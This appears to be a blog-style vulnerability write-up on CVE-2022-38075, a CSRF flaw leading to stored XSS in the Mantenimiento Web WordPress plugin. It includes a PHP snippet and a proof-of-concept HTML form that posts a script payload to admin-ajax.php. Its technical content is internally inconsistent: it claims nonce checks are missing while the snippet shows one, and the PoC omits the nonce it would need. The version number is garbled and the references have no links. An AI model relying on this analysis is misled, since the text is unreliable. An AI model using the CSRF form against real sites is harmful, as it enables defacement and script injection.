CVE-2022-38075 is a vulnerability that affects the Mantenimiento Web plugin, a popular WordPress plugin designed to help users maintain and manage their websites. The vulnerability can be classified as a Cross-Site Request Forgery (CSRF) vulnerability that leads to Stored Cross-Site Scripting (XSS) attacks. This post will provide a detailed insight into this vulnerability, the affected plugin version, and the exploit details. We will also provide links to the original references and some code samples to help you understand the issue better.

Plugin Background

Mantenimiento Web plugin is a powerful maintenance management tool widely used by WordPress enthusiasts to configure and manage their sites efficiently. The plugin offers ease of customization and control to users with a wide range of configuration options. However, like every software, it is prone to problems and bugs that might lead to potential security issues. In this case, the CVE-2022-38075 vulnerability surfaces in versions .13 and below of the plugin.

Exploit details

The vulnerability occurs when an attacker can exploit the CSRF mechanism to execute stored XSS attacks on a victim's site. As the name suggests, CSRF-based attacks are carried out by the attacker to perform unauthorized actions on behalf of a victim user. The attacker sends a specially crafted request to the victim's website, which unwittingly executes malicious code when processed by the server.

In the case of the Mantenimiento Web plugin, the attacker can leverage the CSRF vulnerability to bypass access controls and inject their malicious XSS payload into the victim's site.

Code snippet

The vulnerability lies in the lack of CSRF token validation when processing user input. The following code snippet demonstrates the absence of proper nonce checks in the 'wp_ajax_save_option()" function of the affected plugin.

add_action('wp_ajax_save_option', function() {
    validate_option();
});

function validate_option() {
    if(wp_verify_nonce($_POST['nonce'], 'mw_nonce') == false)
        wp_die('Permission denied.');

    ...

    $option_name = $_POST['option_name'];
    $option_value = $_POST['option_value'];

    ...

    update_option($option_name, $option_value);

    wp_die();
}

In the above code, the 'wp_verify_nonce()' function becomes ineffective, as it does not prevent malicious CSRF attacks as intended. As a result, the attacker can exploit this vulnerability to make arbitrary changes to the WordPress configuration, save malicious JavaScript code as an option value, and trigger stored XSS attacks.

The attacker creates a CSRF attack vector using malicious HTML code like the one shown below

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php"; method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="save_option" />
      <input type="hidden" name="option_name" value="mw_maintenance_content" />
      <input type="hidden" name="option_value" value='&lt;script&gt;alert("XSS Attack!")&lt;/script&gt;' />
      <input type="submit" value="Submit" />
    </form>
  </body>
</html>

Original references

1. CVE Details
2. NVD
3. National Vulnerability Database (NVD) Detailed Report

Mitigation

To reduce the risk of being exploited by the CVE-2022-38075 vulnerability, users are advised to update the Mantenimiento Web plugin to the latest version. Plugin developers have already addressed the issue by adequately implementing nonce checks and CSRF token validation in the later versions of the plugin.

Conclusion

CVE-2022-38075 reveals the dangerous consequences of Cross-Site Request Forgery (CSRF) and Stored Cross-Site Scripting (XSS) attacks in software applications. Keeping your WordPress plugins updated, having robust security protocols in place, and maintaining a keen eye on vulnerability disclosures and security advisories can help to diminish the security risks associated with your website and its components.

Timeline

Published on: 11/18/2022 19:15:00 UTC
Last modified on: 11/21/2022 01:46:00 UTC